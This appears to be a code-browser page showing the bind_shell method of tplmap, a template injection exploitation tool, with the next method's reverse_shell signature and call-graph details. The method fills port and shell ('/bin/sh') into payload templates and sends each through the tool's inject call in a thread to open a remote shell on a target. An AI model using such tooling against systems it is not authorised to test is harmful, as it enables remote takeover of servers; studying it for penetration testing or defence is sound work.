MCPcopy
hub / github.com/epinna/tplmap / bind_shell

Method bind_shell

core/plugin.py:780–799  ·  view source on GitHub ↗
(self, port, shell = "/bin/sh")

Source from the content-addressed store, hash-verified

778
779
780 def bind_shell(self, port, shell = "/bin/sh"):
781
782 action = self.actions.get('bind_shell', {})
783 payload_actions = action.get('bind_shell')
784 call_name = action.get('call', 'inject')
785
786 # Skip if something is missing or call function is not set
787 if not action or not isinstance(payload_actions, list) or not call_name or not hasattr(self, call_name):
788 return
789
790 for payload_action in payload_actions:
791
792 execution_code = payload_action % ({
793 'port' : port,
794 'shell' : shell,
795 })
796
797 reqthread = threading.Thread(target=getattr(self, call_name), args=(execution_code,))
798 reqthread.start()
799 yield reqthread
800
801
802 def reverse_shell(self, host, port, shell = "/bin/sh"):

Callers 1

check_template_injectionFunction · 0.80

Calls 1

getMethod · 0.80

Tested by

no test coverage detected